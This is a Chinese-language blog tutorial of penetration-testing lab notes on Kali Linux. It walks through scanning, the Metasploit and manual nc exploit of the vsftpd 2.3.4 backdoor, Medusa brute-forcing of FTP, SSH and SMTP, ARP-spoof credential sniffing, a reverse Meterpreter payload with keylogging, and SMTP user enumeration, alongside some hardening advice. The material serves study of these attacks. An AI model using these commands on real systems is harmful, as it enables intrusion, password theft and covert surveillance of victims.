web安全基础_web明文传输-程序员宅基地

技术标签: web安全  网络  运维  

VM相关操作

快照

image-20211210092608939

虚拟机的克隆分为创建连接克隆和创建完整克隆

image-20211210092807484

克隆和快照的区别

1.快照是对单一虚拟机的操作

2.克隆是进行虚拟机复制

在一定程度上两者都起到vm虚拟机状态保存。

无论是快照还是克隆都占用对应的储存空间,一般使用链接克隆和快照,占用小。

文件共享

VMtools工具用来增强物理机与虚拟机的互动

可以实现:自适应屏幕大小、文件拖动互传

在linux中安装vmtools,解压出文件,运行./vmware-install.pl

image-20211210093436220

实现文件共享

添加共享文件夹

image-20211210160652955

手动配置挂载共享文件夹
​
1.在/mnt目录新建文件夹为hgfs
​
2.使用vmware-gfsclient查看是否成功设置共享文件夹
​
3.使用vmhgfs-fuse .host:/设置共享的文件夹   /mnt/hgfs(挂载处) 

设置开机自动挂载共享文件夹

用vim打开/etc/fstab文件,添加一行挂载信息

.host:/projects /mnt/hgfs fuse.vmhgfs-fuse allow_other,defaults 0 0

使用mount -a指令让刚刚写入的挂载信息立即生效

使用umount /mnt/hgfs卸载刚刚挂载的目录

永久卸载就直接把/etc/fstab文件里面相关挂载记录删除即可

使用中间件进行文件操作

启动kali中的Apache 进行使用

使用vim /etc/apache2/ports.conf编辑端口

image-20211210162028389

service apache2 start 
/etc/init.d/apache2 start 

打开ip对应端口进入Apache页面即可查看相关文件

image-20211210162422684

虚拟网络配置

网络连接模式

桥接模式:比较常用的一种网络模式,用来设置虚拟机与主机具有同等的网络地位。前提是需要在动态分配的IP地址网络中,如果在静态分配的IP地址的网络中需要进行手动设置对应的IP地址。

NAT模式:NAT网络地址转换,主机与虚拟机构成同一个网络,虚拟机可以与主机以外的网络通信,但是主机以外的网络无法与虚拟机通信。例如:局域网 (VMnet8)

仅主机模式:不与外部通信但是可以与当前主机通信 (VMnet1)

由于防火墙的作用外部主机可以ping通虚拟机,但是虚拟机无法ping通主机。防火墙过滤了ping

使用网络编辑器

仅主机模式可以编辑子网和网络的起始和结束ip

image-20211210112637109

在添加网络中可以新建新的虚拟网卡并且为它设置不同的连接模式。

image-20211210113917311

为设备添加新的网卡

image-20211210115602652

需要配置新添加的网卡 vim /etc/network/interfaces

image-20211210144624584

虚拟机网络配置可能出现的问题

1.本地机器不支持虚拟化

开启VT功能

2.桥接网络没有IP地址分配

修改桥接网卡为你指定的网卡

image-20211210144931543

ssh服务

修改 /etc/ssh/sshd_config 文件

修改以下两个项目,实现ssh

permitrootlogin yes

passwordauthentication yes

设置远程root连接 需要将密码更改为6位数便可以进行远程连接

image-20211211102851171

image-20211211102931016

使用虚拟机自带的ssh服务进行连接

image-20211211104414684

kali中使用ssh命令去连接其他主机

连接命令 ssh [email protected]

image-20211211104836874

kali的使用

kali的发行是基于Debin(内核)类型的linux

kali常用命令

1.netstat -pantu 查看当前的tcp udp的监听端口

2.service ssh start 开启服务

3.ifconfig 或者 ip addr 查看当前网卡信息

4./etc/init.d/networking restart 或者 service networking restart 或者 systemctl restart networing.service 重启网卡

5.ssh kali@IP地址 使用 root用户登录ssh服务

更新软件和系统

apt-get update && apt-get upgrade && apt-get dist-upgrade

第一个命令进行更新 第二个命令进行软件更新 第三命令进行大面积更新包括内核,应用程序等

对kali进行更新

image-20211214093211976

如何升级你的 Kali 主题

有了这些主题更改,如果您升级Kali ,您可能无法获得它们。这是因为当您的用户第一次被创建时,主题设置复制到您的主文件夹中。当您升级 Kali 时,它正在升级操作系统,因此升级不会改变个人文件*(只是系统文件)*。因此,为了获得这些主题调整,您需要:

  • 重新安装 Kali

  • 创建一个新用户并切换到该用户

  • 删除当前用户的桌面环境配置文件并强制重启。可以在下面找到 Xfce 的示例:

kali@kali:~$ mv ~/.config/xfce4{,-$(date +%Y.%m.%d-%H.%M.%S)}
kali@kali:~$
kali@kali:~$ cp -rbi /etc/skel/. ~/
kali@kali:~$
kali@kali:~$ xfce4-session-logout --reboot --fast

设置系统更新

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" | sudo tee /etc/apt/sources.list
​
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
​
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f

参考链接kali linux 2021.4发布|支持Apple M1|添加9款新工具|ARM更新 - 雨苁ℒ

配置kali的更新源

修改kali linux源 ,修改/etc/apt/source.list文件

个人不建议修改,使用默认的配置

设置开机自启动软件

update-rc.d ssh enable

update-rc.d postgresql enable

ls 查看当前目录下的文件内容

id 查看当前用户属性

whoami 查看当前用户名称

#代表普通用户 $代表root用户

ls -alh

-a 查看全部文件包括文件夹 文件以及隐藏文件

-l 以长文件形式查看

-h 文件大小以k M为单位

第一个字母代表不同的文件类型,d代表目录,l代表链接(相当于windows下的快捷方式),-代表文件。

image-20211214205511948

文件夹操作命令 :mkdir 创建文件夹 rmdir 删除文件夹

文件操作命令:touch 创建文件 rm 删除文件

rm -rf

r 递归删除 f 强制删除

mv 重命名命令 移动文件到其他文件夹下面

mv 旧名字 新名字 mv 文件名 到想要移动到的位置

linux工作目录命令

pwd 输出当前目录

cd .. 到上级目录 cd /etc/... 切换到具体的目录

文件权限的介绍

ls -alh

image-20211213205746725

可以看到最开始的一列显示的是文件的权限,除开第一个字母,第一个rwx代表当前用户对这个文件的权限,第二组的三个字符代表当前用户组其他用户对这个文件的权限,第三组的三个字符代表的是所有用户对这个文件的权限

一般显示白色的文件是没有执行权限的文件

使用chmod + rwx filename 给一些文件增加权限

新建了一个TXT文件可以看到TXT文件是没有执行权限的

image-20211213210234745

用数字代表权限 r=4 w=2 x=1 对一组数来说 如果要给他rwx三个权限 那么赋权语句为

chmod 700 test.txt 如果只需要赋值一个权限那么输入 chmod 100 test.txt 便可以成功赋予权限了

新建一个python文件,显示当前用户是没有执行权限的,但是我们用python3进行执行可以看到这个文件还是被成功执行了,因为python程序是有执行权限的。

image-20211213213010122

编辑文件调用python2文件 加上 #!/usr/bin/python

image-20211213215537098

接下来就可以正常输出文件内容

image-20211213215715711

在github上下载工具安装执行

git clone https://github.com/arismelachroinos/lscript

lscript使用了解 使用lscript让wifi攻击变得更简单_pcdack的博客-程序员宅基地

image-20211213221710404

赋予权限

image-20211213221757134

最后执行安装 ./install.sh

nessus漏洞扫描器的安装

主要针对系统的漏洞扫描分析软件

对应linux系统的nessus,需要注意的是大多nessus是适用于kali32位的

image-20211214151941796

image-20211214151948495

下载完成文件后放入kali虚拟机里面,然后运行 dpkg -i nessus.deb命令进行安装

使用/etc/init.d/nessusd start 进行启动

netstat -pantu 查看服务端口使用状态

image-20211214204617658

nessus默认的端口是8834,对目标win10操作系统进行漏洞扫描

访问地址,进行登录

image-20211214204808930

nessus使用界面

image-20211214204952541

主机发现

OSI七层结构

image-20211214205858220

二层发现

二层发现主要是通过OSI七层模型中的链路层中的协议进行主机发现。一般使用arp协议

优点:局域网中通信使用arp协议,利用mac地址作为对应的识别地址。

1、速度快

2、可靠性高

缺点:无法扫描经过路由的主机。

二层发现的工具:使用kali中的工具arping 缺点:无法多个主机同时扫描

netdiscover 进行多主机扫描,以下是相关说明

Netdiscover 0.8.1 [Active/passive ARP reconnaissance tool]
Written by: Jaime Penalba <[email protected]>
​
Usage: netdiscover [-i device] [-r range | -l file | -p] [-m file] [-F filter] [-s time] [-c count] [-n node] [-dfPLNS]
  -i device: your network device
  -r range: scan a given range instead of auto scan. 192.168.6.0/24,/16,/8
  -l file: scan the list of ranges contained into the given file
  -p passive mode: do not send anything, only sniff
  -m file: scan a list of known MACs and host names
  -F filter: customize pcap filter expression (default: "arp")
  -s time: time to sleep between each ARP request (milliseconds)
  -c count: number of times to send each ARP request (for nets with packet loss)
  -n node: last source IP octet used for scanning (from 2 to 253)
  -d ignore home config files for autoscan and fast mode
  -f enable fastmode scan, saves a lot of time, recommended for auto
  -P print results in a format suitable for parsing by another program and stop after active scan
  -L similar to -P but continue listening after the active scan is completed
  -N Do not print header. Only valid when -P or -L is enabled.
  -S enable sleep time suppression between each request (hardcore mode)
​
If -r, -l or -p are not enabled, netdiscover will scan for common LAN addresses.

netdiscover 进行自动扫描 netdiscover -r IP 指定ip段进行扫描 netdiscover -c 次数 指定次数进行扫描

两个工具只能当前局域网进行主机发现。

三层发现

三层主机发现指: 利用ISO中网络中的协议进行主机发现。一般使用ICMP协议。

优点: 1、可以发现远程主机 经过路由的主机 2、速度相对比较快

缺点: 1.经常被防火墙过滤

2.速度相比二层发现慢

三层发现 ping工具

linux下如果不指定ping次数会一直发送数据包 ping IP -c 次数 指定次数进行ping

image-20211214212710410

windows下4次后会结束

fping工具 进行多个主机进行主机发现 发现当前网络或者远程网络中存活的设备

fping -g 192.168.0.1

image-20211214212951055

hping3 对目标进行三层主机发现 特点:发送自定义的ICMP数据包

使用 -1 或者 --icmp指定icmp数据包 使用-c 指定ping次数

hping3 -c 3 -1 192.168.0.1 --icmpcode 1 自定义数据包可以尝试绕过防火墙等

image-20211215151435768

四层发现

四层发现的优缺点

四层发现指利用OSI中的传输层协议进行主机发现,一般使用TCP、UDP探测。

优点:1、可以探测远程主机 2、比三层发现更为可靠

缺点:花费时间比较长

namp IP地址 探测ip地址端口状态和ip是否存活

image-20211215211112010

Kali linux下自带工具hping3可以进行对应的四层层主机发现 hping3 --udp -c 3 IP地址

探测时候同时需要加上端口号

hping3 --udp -c 3 -p 端口号 IP

一般服务器会进行防护,不允许进行回显

image-20211215211741459

image-20211215211844658

主机发现--使用脚本探测

下载nwatch脚本

pip install python-nmap

git clone https://github.com/s0cket7/nWatch.git

端口扫描

"端口”是英文port的意译,可以认为是设备与外界通讯交流的出口。端口可分为虚拟端口和物理端口,其中虚拟端口指计算机内部端口,不可见。例如计算机中的80端口、21端口、23端口等。

一台拥有IP地址的主机可以提供许多服务,比如Web服务、FTP服务、SMTP服务等,这些服务完全可以通过1个IP地址来实现。那么,主机是怎样区分不同的网络服务呢?显然不能只靠IP地址,因为IP地址与网络服务的关系是- -对多的关系。实际上是通过“IP地址+端口号”来区分不同的服务的。

因此,一个开放的端口代表一个提供的服务,不同的服务具有不同的端口号,因此要对服务进行测试,首先要确定是否开放对应端口号。

Nmap

nmap IP地址 //探测端口状态

image-20211215214558183

nmap -p 端口范围 IP 指定端口范围进行扫描

image-20211215214657840

Dmitry

输入dmitry查看帮助

image-20211215214752673

dmitry - p IP 探测一些常用的端口,相比之下nmap更加强大

image-20211215214933357

netcat

nc -nvz IP 20-30(指定的端口范围)

image-20211215220720258

v 参数就是列出执行过程的详细信息,n 参数翻译过来就是只接收 ip 地址,没有 dns。之所以使用 n 参数,是因为使用命令的过程中只去传入 ip,减少了 nc 把域名解析为 ip 的过程,这样可以节省时间提高效率。

nc 用来进行端口扫描的命令是 nc -nvz ip 地址 端口号,z 参数翻译过来就是不进行 i/o,用来扫描。意思就是仅仅是去 ping 去探测目标是否开启指定端口,不进行任何的交互。

netcat说明 Netcat详解_发哥微课堂-程序员宅基地_netcat

banner信息获取

banner 信息来表示欢迎语,其中会包含一些敏感信息,所以获取 banner 也属于信息搜集的范畴。在渗透测试中,典型的 4xx、5xx 信息泄露就属于 banner 泄露的一种。在 banner 信息中,可以获取到软件开发商、软件名称、服务类型、版本号等。而版本号有时候就会存在公开的 CVE 问题,可以直接进行利用。

banner 信息获取的基础是在和目标建立链接后的,只有建立的链接,才可以获取到相应的 banner 信息,当目标对 banner 信息进行隐藏或者配置了禁止读取时,这时的 banner 则获取不到。

端口范围0-65535 TCP端口和UDP端口。由于TCP和UDP两个协议是独立的,因此各自的端口号也相互独立,比如TCP有 235端口,UDP也可以有235端口,两者并不冲突。

端口分为:

1、周知端口 周知端口是众所周知的端口号, 范围从0到1023,其中80端口分配给WWW服务,21端口分配给FTP服务等。我们在浏览器的地址栏里输入一个网址的时候是不必指定端口号的,因为在默认情况下WWW服务的端口是“80”

2、动态端口 动态端口的范围是从49152到65535。之所以称为动态端口,是因为它一般不固定分配某种服务,而是 动态分配。

3、注册端口 端口1024到49151,分配给用户进程或应用程序。这些进程主要是用户安装的程序。

端口Banner信息的获取

  • 使用nmap获取banner信息

nmap IP地址 --script banner -p 端口号范围 //使用Nmap扫描指定主机的端口信息,并返回Banner.

image-20211219155048078

  • 使用dmitry获取端口banner信息

dmitry -pb IP地址

image-20211219160054144

  • 使用netcat获取banner信息

nc -nv IP 端口范围 //nc主要用于单个服务的banner信息探测

image-20211219160110118

端口服务&操作系统

利用Nmap获取目标系统的端口版本信息: -nmap -p 端口号 -sV IP地址

有些时候使用banner探测信息不够完整,此时使用-sV进行主动探测,可以指定端口探测也可以不指定。

image-20211219161907581

nmap -O IP地址 //探测当前IP使用的操作系统

image-20211219162234967

在有授权的情况下对目标进行完整的测试

nmap -A -v IP地址

加上-T4 对目标进行快速扫描,扫描完成会显示出扫描的信息内容

image-20211219162555781

漏洞扫描

漏洞扫描器对漏洞进行扫描,以验证具体目标是否存在对应的具体漏洞。但是也存在错误扫描,需要对扫描结果进行漏洞验证。

其实扫描器的原理大致相同都是通过发送对应的验证数据到目标具体服务进行验证。当收到目标返回的响应与存在漏洞的响应一致时,就表明存在漏洞。

nessus

nessus:常用的系统扫描器,使用方法如下

1.添加一个新的扫描

image-20211220151950519

2.选择扫描方式,一般选择基本网络扫描即可

image-20211220152041338

3.填好相关的数据,然后点击save保存

image-20211220152155752

4.最后点击启动即可开始扫描

image-20211220152300832

namp

使用nmap进行漏洞验证

nmap --script vuln IP地址

参考链接 使用nmap 验证多种漏洞 - 卿先生 - 博客园

msfconsole

Exploit

渗透攻击,是指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。攻击者使用渗透攻击去入侵系统时,往往会造成开发者所没有预期到的一种特殊结果。

流行的渗透测试攻击技术包括缓冲区溢出、Web应用程序漏洞攻击(比如SQL注入),以及利用配置错误等。

Payload

攻击载荷,是我们期望目标系统在被渗透攻击之后去执行的代码,在Metasploit框架中可以自由地选择、传送和植入。

例如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供Windows命令行shell的攻击载荷;而bindshell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等。

总结

一句话,exploit是拿下系统前进行的活动,目标是拿下目标系统;payload是在拿下目标系统后所进行的操作,目标是提升权限、加强控制等操作,属于后渗透测试。

查询vsftpd的漏洞利用exploit

search vsftpd 

image-20211220155021575

use exploit/unix/ftp/vsfrpd_234_backdoor
show payloads 

image-20211220155155672

show options //查看需要设置的选项

image-20211220160035959

set rhost 192.168.0.138 //设置远程主机

show options //查看设置是否完成

image-20211220160145770

最后输入exploit开始攻击,成功连接到终端并且能够执行命令,查询用户权限也为root

image-20211220160228717

image-20211220160306014

常见的web扫描器

Owasp-zap、AWVS、Appscan、Nikto、Burpsuite

针对Web应用程序的漏洞扫描其实就是每个扫描器读取自己的Payload进行探测。

扫描过程中结合使用两个或者三个web应用程序进行扫描,能够更加准确的探测到更多的漏洞

Owasp-zap

一款免费安全审计工具,帮助您在开发和测试应用程序时自动查找Web应用程序中的安全漏洞。类似的针对Web应用程序的扫描工具还有AWVS、APPSCAN等。ZAP是一个中间人代理。它允许您查看您对Web应用程序发出的所有请求以及您从中收到的所有响应

主要拥有以下重要功能:

  • 本地代理

  • 主动扫描

  • 被动扫描

  • Fuzzy

  • 暴力破解

github官网链接 GitHub - zaproxy/zaproxy: The OWASP ZAP core project

owasp-zap详解 OWASP ZAP下载、安装、使用(详解)教程_子曰小玖的博客-程序员宅基地_owasp zap下载

nikto

nikto -host IP地址 对目标服务器进行漏洞扫描 主要针对HTTP服务器

image-20211220111256240

nikto使用参考链接 Web漏洞扫描神器Nikto使用指南 - 知乎

漏洞利用

FTP漏洞利用

文件传输协议(英文: File Transfer Protocol,缩写: FTP) 是用于在网络上进行文件传输的一套标准 协议,使用客户/服务器模式。它属于网络传输协议的应用层。FTP使用21号端口。

用户分类:

1、Real用户 2、Administrator 3、匿名用户

FTP文件传输格式

1、ASCII 2、二进制

利用FTP匿名登录漏洞

由于FTP没有禁止匿名用户,所以可以直接使用Anonymous用户直接登录FTP服务器。可以使用nc连接ftp

首先使用nmap查询21号端口是否开启

nmap -p 21 192.168.0.133

image-20211222152753452

尝试使用nc去连接ftp

nc 192.168.0.133 21

输入:

USER anonymous
​
PASS 123

输入HELP查看可以执行的命令

image-20211222153043167

匿名用户登录漏洞产生的重要原因,允许了匿名连接

image-20211222112212844

FTP后门漏洞

vsftp2.3.4具有后门触发漏洞

vsftpd手工出发漏洞:当进行FTP认证时,如果用户名USER中包含:),那么直接就触发监听6200端口的连接的shell。

首先使用nc连接对应的IP和端口

nc 192.168.0.133 21

连接后输入

USER user:)

PASS pass

然后在另一个窗口直接使用nc 192.168.0.133 6200 连接6200端口

默认端口扫描列表是没有添加6200的 ,扫描时单独选择扫描6200端口

FTP的安全配置

windows下可以选择不允许使用匿名用户登录

image-20211222112212844

linux下 编辑vsftp .conf文件,allow_anonymous 选择NO

2、对特定漏洞进行打补丁,或者设置防火墙禁止连接后门端口。 iptables -A INPUT -p tcp -dport 6200 -j DROP iptabels -A OUTPUT -p tcp sport 6200 -j DROP

FTP不可避免的问题

密码暴力破解

Windows下FTP服务器添加用户的操作

首先添加一个测试用的账号

net user test test /add

image-20211222160333462

接下来将该用户添加到管理员用户组中

net localgroup administrators test /add

image-20211222160301892

选择FTP站点属性选择安全账户,然后浏览,最后选择刚刚添加的用户,允许该用户访问FTP站点。

image-20211222160811301

Medusa

使用medusa工具进行暴力破解账号和密码

查看medusa支持的功能

image-20211222161812058

使用 -d 查看支持破解的模块,可以看到支持ftp模块的破解

image-20211222162033277

使用命令进行暴力破解

medusa -h 192.168.0.133 -u test -P name.txt -M ftp

最后成功得出密账号密码为 test test

image-20211222172101249

在不知道账户和密码的时候可以使用 medusa -h 192.168.0.133 -U 文本 -P 文本 -M ftp 进行暴力破解。

FTP用户名明文密码验证 FTP协议中用于用户认证的过程中,客户端与服务器端是通过明文进行交互信息。验证FTP登录过程中 明文传输用户名和密码。

可以通过wireshark进行抓包查看明文传输的账号和密码

image-20211222172826128

FTP用户名密码嗅探

利用arpspoof进行ARP嗅探

arpspoof -i 网关地址 -t 嗅探接收arp报文的IP

image-20211222175951664

图中所示,在arpspoof运行的过程中我们嗅探到了他接收的其他设备的arp信息,其中就有明文的账号和密码。

image-20211222175307504

FTP登录后的漏洞

利用metasploit创建反弹shell上传到FTP服务器。

可以利用setookit快速生成反弹shell:

选择社会工程攻击

image-20211222185631524

选择创建一个payload并且设置监听

image-20211222185652875

选择 2 生成一个meterpreter shell 并且返回给攻击者,设置Lhost为kali的IP地址,设置监听的端口为1234,最后回车确认即可

image-20211222192517634

最后提示现在是否想要开始这payload并且开始监听,输入yes

image-20211222192828023

最后会自动启动metsploit并且开始监听,现在我们就需要将payload上传给被攻击者让他进行点击。

为了方便就直接先复制到虚拟机中进行测试

使用sz命令下载到电脑上,然后上传到虚拟机中

双击运行payload

image-20211222194248698

msf成功出现回显

image-20211222194333865

输入sessions -l 查看会话情况

image-20211222194402459

输入sessions -i 1 选择会话,成功连接到设备,输入ipconfig查看会话,成功回显

image-20211222194518431

登录后可以实现的功能有:

1,查看当前session中的win2003的系统信息

image-20211222194738354

2,实现键盘记录等功能,keyscan_start //开启进行键盘记录 keyscan_dump 将键盘记录的内容输出

image-20211222194956508

输入help查看其他可以实现的功能

metsploit使用参考 metasploit介绍及使用_低头观自在的博客-程序员宅基地_metasploit

SSH环境搭建

ssh相关命令

sudo apt-get install openssh-server 
​
service ssh start 
​
service ssh status 
​
service ssh stop

putty工具

sudo apt-get intstall putty-tools

puttygen

搭建putty图形化客服端

可以在软件中心进行搜索

image-20220108222520197

使用工具连接服务端

需要服务端的IP地址 尝试连接本机的ssh服务

ssh banner信息获取

  • 使用nmap获取banner信息

image-20220109140107754

  • 使用metasploit获取ssh banner信息

使用 auxiliary/scanner/ssh/ssh_version 模块

image-20220109141259052

run //开始执行,获取banner信息

image-20220109141308986

  • 使用nc获取banner信息

使用nc可以迅速探测出banner信息

image-20220109153415877

  • 配置ssh文件规避探测到banner信息

编辑ssh_config文件,在banner信息附近加入 Debianbanner no 保存并且重启ssh服务

image-20220109153610295

最后尝试通过ssh服务获取banner信息,发现没有了主机信息

image-20220109153310650

SSH弱口令破解

苍蝇不叮无缝的蛋

使用medusa破解sshmima

扫描局域网主机地址,确定测试主机为192.168.0.120

image-20220109161509358

medusa -d 查看可以使用的模块

image-20220109161640843

medusa -h 192.168.0.120 -u root -P pass.txt -M ssh 用字典暴力破解密码

最后成功获取密码

image-20220109162119589

然后可以使用ssh命令进行登录 ssh user@IP

image-20220109162234810

使用metasploit利用ssh登录反弹Shell

使用Metasploit可以进行ssh登录(破解),会自动建立对应的Bash shell连接。

use auxiliary/scanner/ssh/ssh_login //使用ssh_login模块

show options //查看需要设置的地方,设置rhosts、username、password

image-20220109171651436

开始执行,可以看到成功监听

image-20220109171746078

sessions -l //查看执行成功的会话,进入会话尝试运行命令,成功执行命令

image-20220109171927493

通过bash shell 注入meterpreter //可以执行更多的命令及操作

sessions -l 查看会话ID 将这个会话注入meterpreter

sessions -u 2 将会话2注入meterpreter

image-20220109172128214

最后生成的meterpreter shell 会话3

image-20220109172144133

最后输入help查看meterpreter可以运行的命令

image-20220109172346411

通过meterpreter可以执行一些方便的查看信息的命令、执行攻击的命令等

image-20220109173105529

SSH安全防御

SSH修改默认端口

默认情况下,SSH使用22端口。为了安全,一般情况下都会修改默认端口。

image-20220110165220206

可以修改默认端口号为你想要的不冲突的端口,修改之后需要重启SSH服务。

使用私钥和公钥登录

默认情况下,SSH使用用户名和密码进行远程登录。但也可以使用密钥对进行身份验证登录(公钥与私钥)。

生成SSH密钥对,使用puttygen。

image-20220110165328421

下载链接: Download PuTTY: latest release (0.76)

使用ssh-keygen 命令在Linux生成ssh目录,在.ssh下新建密钥存储文件authorized keys, 并复制私钥

文件到.ssh目录下。使用命令puttygen -L“拷贝私钥文件”,将内容拷贝到authorized_ keys文件中。

puttygen

ssh防御暴力破解用户账号

在Linux下可以配置不能使用用户名和密码登录,只使用SSH PGP方式验证登录。规避了SSH暴力破解,

出现问题:不能使用用户名和密码登录,很大程度上导致了复杂操作。

image-20220110160041689

一定程度上防止了暴力破解,因为将自己的登录也禁止了

IPtables设置阀值防止暴力破解

利用iptables对多次连接验证错误,进行账户锁定120s

image-20220110160445527

相当于对linux安全加固

Telnet暴力破解

什么是telnet

Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在teInet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。

虽然Telnet较为简单实用也很方便,但是在格外注重安全的现代网络技术中,Telnet并不被重用。原因在于Telnet是一个明文传送协议,它将用户的所有内容,包括用户名和密码都明文在互联网上传送,具有一定的安全隐患,因此许多服务器都会选择禁用Telnet服务。如果我们要使用Telnet的远程登录,使用前应在远端服务器.上检查并设置允许Telnet服务的功能。

开始进行暴力破解

使用nmap探测23号端口状态,可以看到23号端口是开启的 //注意如果rport不是23的话就要更改rport

可以知道探测之前对服务的版本号探测是非常重要的,通过版本号的探测可以知道一些历史的漏洞信息。

image-20220110194102111

use auxiliary/scanner/telnet/telnet_version     
set rhosts 192.168.0.138
run
//扫描出了一些开机的信息,其中就有账号密码。

image-20220110195035268

对telnet密码破解

可以使用 serch telnet 查找telnet可用的模块,使用telnet_login攻击模块

image-20220110195452174

使用telnet_login模块进行破解

配置username、pass_file、rhosts、rport //使用unset命令可以取消你的设置

set user_file和pass_file 的位置,可以进行组合破解,我们只显示设定好账户破解密码的过程。

image-20220111102148052

攻击后成功破解出账号和密码为msfadmin、msfadmin,而且已经建立了会话

image-20220111102302567

连接到会话,并且设置bash shell——>meterpreter,操作方式和将ssh的shell改变成meterpreter的方式一样。

sessions -l //查看会话 sessions -i 1 进入会话,输入命令可以成功运行

image-20220111103615487

sessions -l 查看会话并通过会话3建立meterpreter连接

image-20220111103656743

sessions -l //查看会话 可以看到出现了会话4,可以直接访问即可

image-20220111103730647

Telnet流量抓包

因为telnet是明文传输的,使用wireshark可以直接抓取传输的数据内容。

启用电脑telnet功能。

image-20220111113443536

在cmd中输入telnet来使用telnet功能,输入help查看可以实现的操作

image-20220111113553208

输入开始连接便抓取到telnet流量

image-20220111215524562

通过追踪流 tcp流可以看到传输的信息是以明文的方式进行传输的

image-20220111215613858

查看数据包找到了输入账号和密码的时候的数据包,和输入一些命令的数据包,这也说明了使用telnet传输是非常不安全的。

image-20220111220012201

Smtp实验环境搭建

邮件发送使用smtp协议,(占用25端口。而邮件接收使用pop3或imap 协议,分别占用110和143端口。

image-20220112215433141

添加主机名和域名

为了在本地搭建好邮件服务器,所以需要修改对应内容。使得可以在本地进行域名解析。

sudo gedit /etc/hosts

添加内容127.0.0.1 mail.test.lab test,并且注释掉其他回环地址的内容

image-20220112221402509

修改hostname为test sudo gedit /etc/hostname 进入文件 将内容改为test

hostname命令 用于显示和设置系统的主机名称。环境变量HOSTNAME也保存了当前的主机名。在使用hostname命令设置主机名后,系统并不会永久保存新的主机名,重新启动机器之后还是原来的主机名。如果需要永久修改主机名,需要同时修改/etc/hosts和/etc/sysconfig/network的相关内容。

重启以生效

hostname -f 查看是否修改成功

image-20220112222040824

postfix安装

因为postfix是非常流行的smtp软件,所以ubuntu的主要库中集成了postfix,可以直接使用以下命令安装:

sudo apt-get install postfix

选择 intlenet site ,按照以下选项成功搭建好postfix

image-20220112222219984

Please select the mail server configuration type that best meets your     
  │ needs.   
No configuration:                                                        
  │   Should be chosen to leave the current configuration unchanged.          
  │  Internet site:                                                           
  │   Mail is sent and received directly using SMTP.                          
  │  Internet with smarthost:                                                 
  │   Mail is received directly using SMTP or by running a utility such       
  │   as fetchmail. Outgoing mail is sent using a smarthost.                  
  │  Satellite system:                                                        
  │   All mail is sent to another machine, called a 'smarthost', for          
  │ delivery.                                                                 
  │  Local only:                                                              
  │   The only delivered mail is the mail for local users. There is no        
  │ network.

image-20220112222426732

修改配置文件: sudo gedit /etc/postfix/main.cf

追加子网信息

mynetworks = 127.0.0.1/8 192.168.0.0/24 inet protocols = ipv4 home_ mailbox = Maildir/

image-20220112222835804

sudo service postfix restart //修改完成之后重新启动服务postfix

然后使用netstat -nlv 来查看对应25端口是否开启。

netstat -nlv 查看端口,可以看到25号端口处于一个监听状态是开启的

image-20220112223642153

安装dovecot

sudo apt-get install dovecot-pop3 devocot-imapd //安装dovecot-pop3、devocot-imapd

编辑sudo gedit /etc/dovecot/conf.d/10-auth.conf ,修改下面两项

auth_mechanisms = plain login
disable_plaintext_auth = yes

sudo gedit /etc/dovecot/conf.d/10-mail.conf

mail_location=maildir:/home/%u/Maildir

sudo gedit /etc/dovecot/conf.d/10-master.conf

打开 port 143 和 port 110

最后 netstat -pantu 查看监听端口是否开启

image-20220112231203100

sudo gedit /etc/dovecot/conf.d/10-master.conf

 unix_listener auth-userdb {
    mode = 0600
    user = postfix
    group = postfix
  }

image-20220112231252212

发送邮件和接收邮件

image-20220112232254919

image-20220112232322785

image-20220112232336689

image-20220112232749810

image-20220112232941725

邮件书写并且发送

image-20220113093613731

枚举smtp用户名

使用telnet测试邮箱用户名是否存在

返回252说明存在用户名,返回501说明不存在用户名

image-20220113094323619

metasploit测试用户名

use auxiliary/scanner/smtp/smtp_enum //使用用户名枚举模块

设置好对应的目标等

image-20220113095219886

最后成功测试出用户名(只要字典够强大就跑得出来)

image-20220113095318390

smtp-user-enum测试用户名

smtp-user-enum是专门用来进行smtp用户名枚举的工具,没有该工具的话使用apt install smtp-user-enum 进行安装

smtp-user-enum -M VRFY -U /root/user.txt -t 目标IP地址

直接输入smtp-user-enum可以查看相应的命令提示

探测结果如下,发现存在test1这个用户

image-20220113095924690

ismtp测试完整的邮箱地址

探测到存在的邮箱地址

image-20220113100634369

探测到用户名后,接下来可以枚举密码,使用多个工具进行探测是为了验证探测的目标是准确的。

smtp暴力破解

使用metasploit中的smtp-version模块进行探测smtp服务的版本信息

postfix esmtp mail.test.lab 都是可用信息

image-20220113101319439

medusa破解smtp服务

smtp的验证方式:https://en.wikipedia.org/wiki/SMTP_Authentication

image-20220113102753164

使用medusa

image-20220113102820570

同时使用wireshark抓包可以看到相应的内容是base64加密的

rpcbind信息泄露

NFS解释

image-20220113103237110

rpcbind是NFS中在服务段用来进行消息通知的服务,用来通知取文件的一些设备。

一般rpcbind运行在111端口,并且NFS配置开启rpcbind_enable="YES"

NFS一般使用2049端口

image-20220113103930657

探测目标rpcbind

探测到版本号为2 (RPC #10000)

image-20220113104307362

查看kali中是否有可以利用的模块,没有发现可用利用的一些远程代码执行等的模块

image-20220113104650833

使用nmap探测rpcinfo,可以看到rpcinfo 111端口既可以使用tcp又可以使用udp协议,其他一些相关的服务泄露的端口信息

image-20220113105033821

metasploit模块探测

auxiliary/scanner/misc/sunrpc_portmapper

也可以探测到rpcbind的一些相关服务

image-20220113105613781

总结:探测rpcbind的泄露信息可以探测到比如有nfs的修改后的端口,和一些可以攻击的其他服务的端口。

samba RCE远程命令执行漏洞

Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB( Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。

一般运行在139和445端口

本次实验需要实现利用攻击模块和payload结合实现root权限的远程代码执行

